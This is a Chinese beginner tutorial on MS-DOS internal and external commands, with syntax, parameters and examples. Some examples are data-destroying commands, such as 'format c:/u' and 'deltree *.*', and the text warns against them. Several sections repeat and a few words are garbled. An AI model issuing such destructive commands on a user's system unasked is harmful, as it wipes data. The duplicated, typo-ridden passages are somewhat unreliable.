  你可以试试看,再改回来,把bne.dat改名为abc.txt。abc.txt。  注意:如果用ren命令更改非当前目录中的文件名,那么源文件名和目的文件名要在同一个目录内。

TYPE——显示文件内容命令 

1.功能:显示ASCII码文件的内容。 

2.类型:内部命令。 

3.格式:TYPE[盘符:][路径]〈文件名〉 

4.使用说明: 

(1)显示由ASCII码组成的文本文件,对。EXE.COM等为扩展名的文件,其显示的内容是无法阅读的,没有实际意义2; 

(2)该命令一次只可以显示一个文件的内容,不能使用通配符; 

(3)如果文件有扩展名,则必须将扩展名写上; 

(4)当文件较长,一屏显示不下时,可以按以下格式显示;TYPE[盘符:][路径]〈文件名〉|MORE,MORE为分屏显示命令,使用些参数后当满屏时会暂停,按任意键会继续显示。 

(5)若需将文件内容打印出来,可用如下格式: 

TYPE[盘符:][路径]〈文件名〉,>PRN 

此时,打印机应处于联机状态。 

如想知道abc.txt文件的内容,就从键盘上输入type abc.txt 。

  现在你可以试着操作一下,看看各个文件里有些什么东西,是不是很有成就感。好了,你已经掌握了type命令,不过我还想提醒你一下,除了文件扩展名是txt的文件,对其它文件你最好不要使用type命令,否则屏幕上可能会出现很多怪模怪样的符号,还会嘀嘀地乱叫,弄得你心烦意乱。

TIME系统时钟设置命令

1功能:设置或显示系统时期。

2类型:内部命令

3格式:TIME[hh:mm:ss:xx]

4使用说明:

(1)省略[hh:mm:ss:xx],显示系统时间并提示输入新的时间,不修改则可直接按回车键,[hh:mm:ss:xx]为“小时:分钟:秒:百分之几秒”格式;

(2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。

例:C:\DOS>time

  Current time is 12:15:26.04a

  Enter new time: 11:20:20.00p

  按时:分顺序输入时间,再加上下午(a/p)即可 直接按ENTER键可忽略

  修改时间。

DATE日期设置命令

1功能:设置或显示系统日期。

2类型:内部命令

3格式:DATE[mm-dd-yy]

4使用说明:

(1)省略[mm——dd——yy]显示系统日期并提示输入新的日期,不修改则可直接按回车键,[mm——dd——yy]为“月月——日日——年年”格式;

(2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。

例:C:\>date 09-20-1996 将日期改为1996年9月20日

  C:\>date

  Current date is Tue 08-20-1996

  Enter new date (mm-dd-yy):09-20-1996

  按月-日-年的顺序修改当前日期 直接按回车键忽略修改日期

CLS——清屏幕命令

1功能:清除屏幕上的所有显示,光标置于屏幕左上角。

2类型:内部命令

3格式:CLS

-VOL——显示磁盘卷标命令 

1.功能:查看磁盘卷标号。 

2.类型:内部命令 

3.格式:VOL[盘符:] 

4.使用说明:省略盘符,显示当前驱动器卷标。

例:C:\>vol

  Volume in drive C is Wang

  Volume Serial Number is 2116-1DD0

C:\>

pass--设定DOS寻找.COM、.EXE、.BAT文件的所在目录

    [格式] path=[[drive:]path[;…]]或path

    [说明] 只打path没有参数时,只显示环境变量内容。有参数时,重新设置path变量。在没有指定path环境变量时,用户发出的命令,DOS首先判断其是否为内部命令,再查找当前目录中是否有主文件名是该命令的可执行文件,如果均不是,则显示信息“Bad command or filename”。如果发出了指定路径的命令,则在指定径中依次查找,仍找不到则出现上述提示。

VER查看系统版本号命令

1功能:显示当前系统版本号

2类型:内部命令

3格式:VER

EXIT—退出DOS。

PATH—路径设置命令 

1.功能:设备可执行文件的搜索路径,只对文件有效。 

2.类型:内部命令 

3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…} 

4.使用说明: 

(1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件; 

(2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开; 

(3)PATH命令有三种使用方法: 

PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径)  PATH:(取消所有路径) 

PATH:(显示目前所设的路径) 

三、DOS外部命令

DOS的外部命令就是一些应用程序,能够使用户的操作更加方便和深入。这些外部命令都是以文件的形式存在,Windows系统的DOS外部命令保存在Windwos主目录下的"Command"目录中。下面就让我们来看看常用的一些DOS外部命令。

formAT——磁盘格式化命令 

1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。 

2.类型:外部命令 

3.格式:formAT〈盘符:〉[/S][/4][/Q] 

4.使用说明: 

(1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL DATA ON NON

——REMOVABLE DISK 

DRIVE C:WILL BE LOST ! 

Proceed with format (Y/N)? 

(警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?) 

(2)若是对软盘进行格式化,则会如下提示:Insert mew diskette for drive A; 

and press ENTER when ready… 

(在A驱中插入新盘,准备好后按回车键)。 

(3)选用[/S]参数,将把DOS系统文件IO.SYS

、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘; 

(4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘; 

(5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。 

(6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。

例:键盘上输入format A:

这时计算机就让你在A驱动器中插入磁盘

你插入磁盘后,按一下回车键,计算机就开始对软盘进行格式化。屏幕上显示已经完成的百分比

格式化完成之后,出现提示让你给磁盘起一个名字。你可以输入你喜欢的名字,也可以直接敲回车不输入名字。

 

接下来,计算机会向你报告磁盘的总空间和可利用空间,

 

  如果总空间和可利用空间相等,说明磁盘空间全部是好的。如果可利用空间小于总空间,说明有一部分磁盘坏了。

  看到最后一句话没有,这是计算机问你是不是还要格式化其他软盘,如果你只需格式化这张软盘,就键入N,如果还要格式化其他软盘,就键入Y。

  现在你可以练习一下,格式化一张无用的软盘看看自己掌握怎样。

  有一件事必须告诉你,如果要格式化的不是新盘,format命令会把磁盘上的所有文件都删除掉,所以在格式化之前,你要确认磁盘中的内容全都是无用的,否则将会给你带来很大损失。切记:不要尝试对硬盘使用format命令,除非你知道自己在干什么,否则你将丢失你电脑内的一切信息。

format c:/u   格式化C盘

除非你的硬盘被病毒感染得很深,否则不要将C盘格式化,它会使你丢失一切信息,还需要花几个小时来重新安装所有的软件。

EDIT.COM--编辑命令

就是一个文本编辑软件(如图),使用它可以在DOS下方便地对文本文件进行编辑,格式为"EDIT [文件名] [参数]",它的参数不是特别实用,我在此就不多讲。

比如,想在c盘根目录下编辑一个简单的批处理文件,要求无论当前盘和当前目录如何,每次只需输入一个字符w,然后回车即可运行c盘windows目录下的windows程序。这也就是说我们要编辑一个文件名为w.bat的批处理文件。      我们可以在提示符下敲入 edit w.bat回车(就是编辑 w.bat文件的意思)

 

  进入编辑状态后,输入以下内容:c:

     cd\windows

     win

     

输入完后,按Alt+F键激活File菜单, 按向下的箭头选择退出(Exit),

 

然后电脑提示是否要保存刚才输入的内容,如果要保存,只需输入Y或者直接回车即可。

 

这时已经编辑完w.bat文件,又回到了提示符状态,用前面讲过的type命令就可以查看刚才编辑的w.bat文件,只需输入type w.bat回车即可。

 

  学到这,祝贺你DOS小有成就,已经有了我五成水平了(呵呵,别高兴太早,想超过我,多下点功夫吧),现在你基本上可以自己操作计算机了。

SYS——系统复制命令 

1.功能:将当前驱动器上的DOS系统文件IO.SYS,MSDOS.SYS和COMMAND.COM 传送到指定的驱动器上。 

2.类型:外部命令 

3.格式:SYS[盘符:] 

*使用说明:如果磁盘剩余空间不足以存放系统文件,则提示:No roomfor on destination disk. 

  平常应用时,我们一般用C盘启动,启动后,提示符显示为C: ,但有时我们也需要由A盘来启动,比如,电脑感染了病毒,就要用无毒的软盘启动后,再用杀毒软件杀毒。在正确的设定下,将具有启动功能的软盘插入A驱动器中,电脑启动后,提示符为A: 。那么,我们怎样才能使一张软盘具有启动功能呢?

DOS为制作启动盘专门提供了一条命令,这就是sys命令。sys命令的格式很简单:  sys 驱动器名,例如在C盘提示符下输入: sys a:,就是将C盘上的系统文件传输到A盘上,把A驱动器中的磁盘制作成启动盘。如果在A盘启动的情况下, sys c:就是将A盘上的系统文件传输到C盘上。

 

  除了sys命令,还可以使用format a:/s命令在格式化磁盘的同时制作系统盘。如果一张软盘具有启动功能,那么它的根目录下一定有io.sys、msdos.sys和command.com三个文件,而且,前两个文件必须处于磁盘最前面的磁道上。   

  当我们用dir命令查看刚制作的启动盘时,我们可以看到根目录下有COMMAND.COM文件,却看不到IO.SYS、MSDOS.SYS这两个文件。其实,这两个文件是系统文件,直接用dir命令是看不到的,如果我们用dir/as命令就可以看到它们了,这个命令的作用是查看系统文件。另外提一下,我们不能简单地用copy命令来制作启动盘,因为用copy命令拷贝的系统文件并不一定能放置在最前面的磁道上。

传递系统文件:将DOS的两个隐含的系统IO.SYS和MSDOS.SYS传送到目标磁盘的特定位置上,并将COMMAND.COM文件复制过去。完成后,目标盘成为DOS的启动盘。

 [格式] [C:][path]SYS [C1:][path] d2:

 [说明] 由于这几个文件需要复制到特定位置上,所以用COPY命令完成的复制未必能够启动机器。能过SYS命令,DOS可以将目标盘已占据特定位置的文件移动,并将系统文件复制到相应位置上。参数C1:path用来指明系统文件所在目录。如不指明,则缺省为当前盘的当前目录。所以这个命令一般要在源盘的根目录进行。

ATTRIB——修改文件属性命令 

1.功能:修改指定文件的属性。(文件属性参见2.5.4(二)文件属性一节) 

2.类型:外部命令。 

3.格式:ATTRIB[文件名][R][-R][A][-A][H][-H][-S] 

4.使用说明: 

(1)选用R参数,将指定文件设为只读属性,使得该文件只能读取,无法写入数据或删除;选用-R参数,去除只读属性; 

(2)选用A参数,将文件设置为档案属性;选用-A参数,去除档案属性;  (3)选用H参数,将文件调协为隐含属性;选用-H参数,去隐含属性; 

(4)选用S参数,将文件设置为系统属性;选用-S参数,去除系统属性;  (5)选用/S参数,对当前目录下的所有子目录及作设置。

如果不加参数则为显示文件属性。它的参数有"+?"和"-?"两种,"?"代表属性代号,这些代号有:"H"隐藏;"S"系统;"R"只读,"+"表示赋予,"-"表示去除。

[适用场合]  想对文件做较特殊的处理时

[用  法]  attrib 显示所有文件的属性

  attrib +r或-r [文件名] 设置文件属性是否为只读

  attrib +h或-h [文件名] 设置文件属性是否隐含

  attrib +s或-s [文件名] 设置文件属性是否为系统文件

  attrib +a或-a [文件名] 设置文件属性是否为归档文件

  attrib /s 设置包括子目录的文件在内的文件属性

[例  子]  C:\TEST>attrib +r wina20.386

  C:\>attrib +h *.* /s 隐含所有文件

XCOPY——目录复制命令 

1.功能:复制指定的目录和目录下的所有文件连同目录结构。 

2.类型:外部命令 

3.格式:XCOPY [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E] 

4.使用说明: 

(1)XCOPY是COPY的扩展,可以把指定的目录连文件和目录结构一并拷贝,但不能拷贝隐藏文件和系统文件; 

(2)使用时源盘符、源目标路径名、源文件名至少指定一个; 

(3)选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数,否则/S不会拷贝空目录,若不指定/S参数,则XCOPY只拷贝源目录本身的文件,而不涉及其下的子目录; 

(4)选用/V参数时,对的拷贝的扇区都进行较验,但速度会降低。

在COPY的基础上进行了加强,能够对多个子目录进行拷贝。它的参数比较多,但是最常用的是"/S",它可以对一个目录下属的多个子目录进行拷贝,另外"/E"可以拷贝空目录。格式为"XCOPY [源路径][源目录/文件名] [目的目录/文件名] [参数]"。

[适用场合]  在进行连同子目录一起拷贝时很有用,在拷贝大量文件时比COPY命令要快得多

[用  法]  xcopy [文件名] [目录] 将指定文件拷贝到指定目录

  xcopy [源目录] [目的目录]  将源目录连子目录考到目的目录下

  xcopy *.* [目录] /s   将文件与非空子目录拷贝到指定目录

  其它常用参数还有: v 拷贝后校验,会影响速度

   e 与s 相似,但即使子目录是空的也会拷贝。

SCANDISK——检测、修复磁盘命令 

1.功能:检测磁盘的FAT表、目录结构、文件系统等是否有问题,并可将检测出的问题加以修复。 

2.类型:外部命令 

3.格式:SCANDISK[盘符1:]{[盘符2:]…}[/ALL] 

4.使用说明: 

(1)CCANDISK适用于硬盘和软盘,可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘; 

(2)可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误,并加以修复。 

能对磁盘进行扫描并修复,能够解决大部分的磁盘文件损坏问题。格式为"SCANDISK [盘符:] [参数]"下面是它的几个参数:

/fragment [驱动器名:\路径\文件名]:使用这个参数可以显示文件是否包含有间断的块,我们可以通过运行磁盘整理程序来解决这个问题;

/all:检查并修复所有的本地驱动器;

/autofix:自动修复错误,即在修复时不会出现提示;

/checkonly:仅仅检查磁盘,并不修复错误;

/custom:根据Scandisk.ini文件的内容来运行Scandisk,Scandisk.ini是一个文本文件,它包含了对Scandisk程序的设置,其中的[custom]块是在加上"/custom"参数后才执行的,用户可以根据自己的不同情况来进行不同的设置;

/nosave:在检查出有丢失簇后直接删除,并不转化为文件;

/nosummary:不显示检查概要,完成检查后将直接退出程序;

/surface:在完成初步检查后进行磁盘表面扫描;

/mono:以单色形式运行Scandisk。

我们可以根据不同的情况来加上不同的参数。我们可以执行"scandisk /all /checkonly /nosave /nosummary"来完成对磁盘的检查并且自动退出,另外还可以编辑scandisk.ini文件中设置,再运行"scandisk /custom"。如果被损坏的文件比较多,我们可以使用"/autofix"来进行自动修复,不然会忙死你的。

CHKDSK——检查磁盘当前状态命令 

1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 

2.类型:外部命令 

3.格式:CHKDSK [盘符:][路径][文件名][/F][/V] 

4.使用说明: 

(1)选用[文件名]参数,则显示该文件占用磁盘的情况; 

(2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误; 

(3)选用[/V]参数,显示盘上的所有文件和路径。

  chkdsk是check disk的缩写,用来检查你的磁盘的使用情况。

  chkdsk命令的格式是: chkdsk 磁盘名,例如要检查A盘使用情况,就输入chkdsk A: ,检查c盘使用情况,就输入chkdsk C: ,如果直接输入chkdsk,就检查当前磁盘的使用情况。

我们现在来试试看,输入chkdsk命令,下面显示出一大堆信息,看看

 

  旁边的文字显示了这些信息是关于什么的,比如第一行显示的是磁盘总空间有540,672,000 bytes。依此类推,第五行显示的是磁盘可用空间为215,531,520 bytes。

Move.EXE--移动文件,改目录名命令

可以对文件进行移动。格式为"MOVE [源文件] [目的路径]"。同时也可以使用通配符。

[适用场合]  移动文件到别的目录

[用  法]  move [文件名] [目录] 移动文件至新目录下

move [目录名] [目录名] 改目录名

[例  子]  c:\>move c:\autoexec.bat c:\old

  移动autoexec.bat文件至old目录下

  c:\>move c:\config.sys c:\temp

  移动config.sys文件至old目录下

Deltree.EXE--删除文件及目录命令

是DEL命令的超级加强版,它不仅可以删除文件,并且会将指定目录和其下的所有文件和子目录一并删掉。使用它,我们可以很方便的对目录进行彻底的删除。格式"DELTREE [文件/路径] [参数]",参数有一个"/Y",使用时系统会对每个文件进行询问,回答"Y"后才删除。

这条命令不管目录下面有多少子目录和文件,都会一次性删除。

比如有个目录abc需要删除,输入deltree abc,这时计算机会问你是否真的要删除,键入y后,目录就被删除了。

 

利用deltree命令确实可以很方便地删除目录,但如果误操作之后,损失也是很大的,所以在使用deltree命令之前,要确认每个子目录下的文件都是没有用的。对于初学者,最好慎用该命令。

TREE—显示磁盘目录结构命令 

1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。 

2.类型:外部命令 

3.格式:TREE[盘符:][/F][》PRN] 

4.使用说明: 

(1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件; 

(2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。

MEM查看当前内存状况命令

1功能:显示当前内存使用的情况

2类型:外部命令

3格式:MEM[/C][/F][/M][/P]

4使用说明:

(1)选用/C参数列出装入常规内存和CMB的各文件的长度,同时也显示内存空间的使用状况和最大的可用空间;

(2)选用/F参数分别列出当前常规内存剩余的字节大小和UMB可用的区域及大小; 

(3)选用/M参数显示该模块使用内存地地址、大小及模块性质;

(4)选用/P参数指定当输出超过一屏时,暂停供用户查看。

  mem是memory的缩写,该命令用来查看你的计算机内存有多少,以及内存的使用情况。

键盘上输入mem命令:mem,然后回车

 

  上面看到的就是计算机显示的关于内存的情况,我们可以看到我机器的内存为24,576K,已使用22,947K,还剩下1,629K可用。

  看到显示数据的第一行,这是关于基本内存情况的介绍,640K是基本内存的总值, 已用去35K,还剩下605K可用内存,这个值很重要,它的大小决定了你在dos中能执行什么程序,当基本内存剩余值较小时,就不能执行一些较大的程序。

  mem命令还可以用来粗略地判断一下电脑是否染上了病毒。因为,DOS基本内存总值一般应显示为640K或639K。如果电脑染上了病毒,这个值往往会改变,比如会变成638K或634K等,当你发现自己电脑上的这个值不为640K或639K时,一般情况下,电脑就已经染上病毒了,应该尽快用杀毒软件杀毒。当然,也有很多病毒并不改变这个值,所以,我们要经常用杀毒软件检查和清理电脑。

DELTREE—删除整个目录命令 

1.功能:将整个目录及其下属子目录和文件删除。 

2.类型:外部命令 

3.格式:DELTREE[盘符:]〈路径名〉 

4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。使用时务必小心!!! 

    [格式] [C:][path]DELTREE [C1:][path1] [[C2:][path2] […]]

    [说明] 这个命令将整个指定目录树全部消灭,而不管它是否是只读、隐藏与否。使用应特别小心。它是一个危险命令。

deltree *.*   删除当前目录下所有目录与文件

[建议]在C盘根目录中使用这条命令,那你必须要保证你的头脑是清醒的,而且你保证这样做是有必要的,但我们认为在任何情况下都不应该这样使用这条命令。在任何目录下使用deltree *.*都会产生与del *.*一样甚至更坏的结果。慎之!慎之!

Fdisk.EXE--分区命令

[建议]只有硬盘被很利害的病毒感染时,或是一块新硬盘才需要分区,最好请懂行的人指导。硬盘都需经过低级格式化,分区,格式化三个步骤才可使用,成品电脑内的硬盘都已经做过这些加工了。

[用法]输入fdisk后按回车即可进入提示界面

-ctty 改变控制设备--dos教程

[建议]用来改变控制的输入输出设备,可以试试这条命令,不过恐怕不会有什么作用,是DOS中最没用的命令之一

[用法]ctty [设备名]    设置控制台

[例子]C:\>ctty aux    设置aux为输入输出设备。

emm386 扩展内存管理

[建议]这条命令比较复杂,在第五章中系统配置里将详细介绍

defrag  磁盘碎片整理

[适用场合]磁盘读写次数很多,或磁盘使用时间很长了,需要使用这条命令整理磁盘。磁盘碎片并不是指磁盘坏了,而只是由于多次的拷贝和删除文件后,磁盘使用会很不连贯,致使速度变慢。

[用法]1. C:\>defrag

2. 选择要整理的磁盘

 

3. 电脑分析磁盘状况,然后告诉我们磁盘有多少需整理。按Esc键

  4. 选择Optimization Method(磁盘优化方法),选择“全部优化”

或“仅优化文件”

 

  5. 选择Begin Optimization 开始整理

6. 整理完后,按回车键

7. 按Esc退出。

 

doskey   调用和建立DOS宏命令

[适用场合]经常需要输入重复的命令时,有非常大的用处

[用法]  doskey 

  将doskey驻留内存,开辟出缓冲区,以后输入的命令都将保存在缓冲区中,可以随时调用 doskey [宏命令名]=[命令名]  

  将宏命令定义为命令,以后输入宏命令,电脑就会执行相应的命令

  doskey /reinstall重新安装doskey

  doskey /bufsize= 设置缓冲区的大小

  doskey /macros  显示所有doskey宏

  doskey /history        显示内存中所有命令

  doskey /insert|overstrike 设置新键入的字符是否覆盖旧的字符

[例子] C:\>DOSKEY

  C:\>dir

  C:\>copy C:\temp\*.* a:

  C:\>del c:\temp\*.*

  C:\>copy b:\*.* c:\temp

  上述四条命令都已被保存,用光标控制键的上下可以依次选择使用或修改, 也可以用F7键列出保存的所有命令

  C:\>doskey di=dir/w/p 定义di为宏命令,意思是执行dir/w/p

lh/loadhigh   将程序装入高端内存

[适用场合]这条命令一般用在autoexec.bat中,当有些软件需要的基本内存很大时,它会有用

[用法]  lh [程序]  

  将程序装入高端内存 使用此命令时,config.sys文件中需有下面两条语句。 device=emm386.exe dos=umb

  lh [程序] /l:区号    将程序装入指定的umb区

  lh /s    一般是由memmaker专用

[例子]  C:\MOUSE\>lh mouse  将鼠标驱动程序装入高端内存

debug  程序调试命令

[建议]如果你学过汇编语言,那你应该会使用debug,如没学过,最好别使用

[用法] debug [文件名]

-fc  文件比较

[建议] 也许对于大多数人是永远不会用到它的

[用  法]  fc [文件名1] [文件名2]     比较两文件的不同

  参数还有: a c l Lbn n t w nnnn

[例  子]  C:\TEST>fc a.bat b.bat

  Comparing files A.BAT and B.BAT

  ***** A.BAT

  choice /c:dme defrag,mem,end

  if errorlevel 3 goto defrag

  if errorlevel 2 goto mem

  if errotlevel 1 goto end

  ***** B.BAT choice /c:dme defrag,mem,end

  ***** C:\TEST>

FC——文件比较命令 

1.功能:比较文件的异同,并列出差异处。 

2.类型:外部命令 

3.格式:FC[盘符:][路径名]〈文件名〉[盘符:][路径名][文件名][/A][/B][/C][/N] 

4.使用说明: 

(1)选用/A参数,为ASCII码比较模式; 

(2)选用/B参数,为二进制比较模式; 

(3)选用/C参数,将大小写字符看成是相同的字符。 

(4)选用/N参数,在ASCII码比较方式下,显示相异处的行号。

prompt 设置提示符

[适用场合]当你厌烦了c:\>的提示符或者您想使您的提示符与众不同时,您可以试一试,非常有趣的DOS命令,可以随时显示时间与日期。

[用  法]prompt $p$g 以当前目录名和>号为提示符,这是最常用的提示符

  prompt $t 表示时间prompt $d 表示日期

  prompt $$ 表示$  prompt $q 表示=

  prompt $v 表示当前版本    prompt $l 表示<

  prompt $b 表示|  prompt $h 表示退位符

  prompt $e 表示Esc代表的字符  prompt $_ 表示回车换行

[例  子]C:\DOS>prompt wang$g 将wang>作为提示符

  WANG>prompt $t$d$g  使用时间、日期和>号做为提示符

  0:01:07.77Thu 08-29-1996>prompt $p$g

  C:\DOS>

more 分屏显示

[适用场合]当输出很多一屏显示不下时采用,几乎适合所有命令,尤其是type

  等命令时很有用。 使用more时磁盘不能有写保护,也不适合光驱。

[用  法]  type [文件名] | more  分屏显示文件内容

  more < [文件名]    分屏显示文件内容

[例  子]  C:\>type msdos.w40 | more

smartdrv 设置磁盘加速器

[建议]它可以提高硬盘访问速度,最好在autoexec.bat文件中加载吧。

[用法] smartdrv /x

  执行并驻留内存,开辟磁盘加速缓存区,并屏蔽所有驱动器缓存,是

  较常用的方法(一般用这个命令就够了)

  smartdrv /c 将缓存内的信息都写入硬盘

  smartdrv /e: 数字    设置一次移动的信息量

  smartdrv /b: 数字    设置预先读取的缓冲区大小

set    设置环境变量

[适用场合]设置声卡和路径等时用到

[用法] set [环境变量]=[字符串]   

  这条命令常常用在autoexec.bat中

[例子]C:\>set blaster=a220 i5 d1     设置声卡的参数

  C:\>set path=c:\dos   path c:\dos含义相同

subst    路径替换

          

setver   设置版本

 

msd 系统检测

[适用场合]  用于检查系统信息

[用  法]  1. C:\>msd 回车后可见到如下画面,在每个选项旁边加了注解,表示该按钮的功用

   

  2. 选择需查询的项目,比如选第一个Computer,将会弹出一个对话框

显示电脑的一些基本信息。你可以试试其他的选项,看看有什么用。

 

  3. 按Alt+F键激活下拉菜单后, 选择"Exit"项退出。

MSD显示系统信息命令

1功能:显示系统的硬件和操作系统的状况。

2类型:外部命令

3格式:MSD[/I][/B][/S]

4使用说明:

(1)选用/I参数时,不检测硬件;

(2)选用/B参数时,以黑白方式启动MSD;

(3)选用/S参数时,显示出简明的系统报告。

SETUP   安装DOS程序。

 

diskcopy 磁盘复制

    [功能] 复制出一个和原来磁盘内容一模一样的磁盘

    [格式] diskcopy 源驱动器名 目的驱动器名

[说明] 它的主要用途就是用来备份。比如我们的电脑在刚买来时,会随机附带一些设备驱动程序磁盘,这些驱动程序在以后都有可能用到,为防止这些磁盘的损坏,一定要将它们都备份一套,这时,使用diskcopy命令是比较快捷和方便的。

  我们已经学过复制文件,但你们知道磁盘也可以复制吗?好,这节就讲这个东东,diskcopy,翻译成中文就是磁盘复制。所谓复制磁盘就是复制出一个和原来磁盘内容一模一样的磁盘,其实和复制文件也差不多。

  diskcopy命令的格式很简单:diskcopy 源驱动器名 目的驱动器名。举个例子来说,如果要在A驱动器上复制磁盘,就输入:diskcopy a: a: (奇怪吧,哪来两个A盘,且看下文电脑是如何理解的)。

输入diskcopy a: a:命令后回车,电脑提示让你插入源盘

 

插入磁盘后,随便敲一个键,计算机就开始读源盘上的内容,

 

读完原盘后,电脑会叫你插入插入磁盘,原来电脑是这样理解两个A盘的,把原盘取出,再插入要写的磁盘,呵呵,还有够聪明的。

 

换完盘后,按任意键,计算机开始向磁盘上写入源盘的内容。

 

写完之后,计算机会问你是否再复制一张和源盘一样的磁盘,如果你不想复制,敲入N;

 

  这时计算机会再问你是否进行另一张磁盘的复制工作(还真够烦的,啰啰嗦嗦),如果没有其它磁盘需要复制,键入N。

  有个小问题提醒你注意,如果你有两个驱动器,当然可以不这样靠替换磁盘的手段,可以直接用diskcopy a: b:,一次把工作做完,不过有个前提,就是你的两个驱动器的规格必须是一样的。  

最后大家肯定要问,这命令有啥用啊,其实也很简单,它的主要用途就是用来备份。比如我们的电脑在刚买来时,会随机附带一些设备驱动程序磁盘,这些驱动程序在以后都有可能用到,为防止这些磁盘的损坏,一定要将它们都备份一套,这时,使用diskcopy命令是比较快捷和方便的。

 

DISKCOPY——整盘复制命令 

1.功能:复制格式和内容完全相同的软盘。 

2.类型:外部命令 

3.格式:DISKCOPY[盘符1:][盘符2:] 

4.使用说明: 

(1)如果目标软盘没有格式化,则复制时系统自动选进行格式化。 

(2)如果目标软盘上原有文件,则复制后将全部丢失。 

(3)如果是单驱动器复制,系统会提示适时更换源盘和目标盘,请操作时注意分清源盘和目标盘。 

path -- 

在DOS提示符下,如果我们要执行某个可执行文件,电脑会在磁盘上寻找这个文件,如果不经过特殊处理,它只在当前目录下寻找,如果没有找到则提示出错。就像下面一样,出现这样的提示:

 

  这也就是说,如果要执行某个文件前,都要将当前目录转换到它所在的目录,显然这是一件很麻烦的事情(电脑是不是很笨啊,不用怀疑这句话的正确性了,我证明过n遍了,我不说,它什么都不做,呵呵)。

  为了解决这个问题,DOS提供了一条Path命令,如果在Path命令中定义了某个目录,那么你在任何地方,都可以直接执行Path中指定目录里的文件。(简直太爽了,这可减少了很多麻烦)     

  path命令的格式很简单: path 目录名,如果有很多目录,中间就用;(不要记错了,是分号不是逗号)隔开。要加入新的目录,就在最后一个目录的后面加一个; 然后再输入新的目录名就可以了。

  讲个例子吧,比如,path=c:\dos;c:\windows;c:\   这条命令就是说,当我们执行一个文件时,电脑先在当前目录下查找这个文件,找到则执行,如果没有找到,则电脑按照path命令所指定的目录顺序去查找,先在C盘dos目录下,然后在windows目录下,最后在C盘根目录下寻找这个文件。

  但是,每次输入path路径仍是件很麻烦的事情,记得我们第一课讲过的DOS启动顺序中要自动执行的一个命令文件吗?对了,就是autoexec.bat,我们把path命令写在该文件里,这样启动计算机后,你就可以执行Path命令指定目录中的任何可执行文件了。

help 帮助

  学习了不少DOS命令,感到记忆起来很困难,其实高手都不记命令的用法,而只是知道某个命令可以解决某个问题,或在哪个场合下该用哪个命令,用时就现查该命令的用法, 那该怎样查一个命令的用法呢?这就要用到help命令,它可提供所有命令的帮助。

[适用场合]  当您想具体了解DOS命令的使用方法时使用

[用  法]  help    提供所有DOS命令帮助

  help [DOS命令]     提供有关命令的帮助

如果你只大致记得某个命令,可以在提示符后直接输入help命令,然后将出现下面的画面:

 

将光标移至需查询的命令,回车后可查询到其语法格式,比如 cd 命令吧:

将光标移至,回车后可查询到其详细语法及功能的解释;将光标移至,回车后可查询到其语法的详细举例,我们常用举例功能,下面是点后出现的画面

如你记得是什么命令就好办了,可以按Alt+S键选择"Find"(查找),则会弹出下面的对话框

 

  输入需查找的DOS命令,回车后可立即查询到有关命令的详细信息。

lable  设置卷标号

[适用场合]  用来为磁盘做个标记

[用  法]  label 显示磁盘卷标

  label [盘符] [卷标名] 设定指定盘的卷标

[例  子]  C:\>label

  Volume in drive C is WANG

  Volume Serial Number is 2116-1DD0

  volume label (11 characters,Enter for none)?

  可以输入卷标,直接回车后

  Delete current volume label (Y/N)?

  按y删除旧卷标,按n不更改

LABEL——建立磁盘卷标命令 

1.功能:建立、更改、删除磁盘卷标。 

2.类型:外部命令 

3.格式:LABEL[盘符:][卷标名] 

4.使用说明: 

(1)卷标名为要建立的卷标名,若缺省此参数,则系统提示键入卷标名或询问是否删除原有的卷标名; 

(2)卷标名由1至11个字符组成。

memmaker 内存优化管理

[适用场合]  这个命令现在已经很少用了,在当年DOS流行时,想玩游戏可少不了它,它可以腾出许多基本内存供游戏使用,只需安装一次即可

[用  法]  1. C:\>memmaker

  2. 回车继续,F3退出

  3. 选择手动安装和自动安装,直接回车表示自动安装(回车得了)

  4. 选择是否有程序需要扩充内存,可用空格键选择,Yes表示需要,No不需要,按回车键即可。

  5. 程序自动检测硬盘内是否安装了WINDOWS

  6. 软驱中若有软盘则应将其取出,然后按回车键,电脑将重新起动两次,不要中断,只需按回车键。(其实很简单,一直按回车键就行了,呵呵)

undelete 恢复被删除的文件

[适用场合]  当不小心删错了文件时,它可以用得上。 DOS删除文件时,只是将文件从分配表中去除,在磁盘存储区内将文件名的第一个字母删除,文件内容并未马上从磁盘中删除,所以能恢复。

[用  法]  undelete 恢复已删除的文件

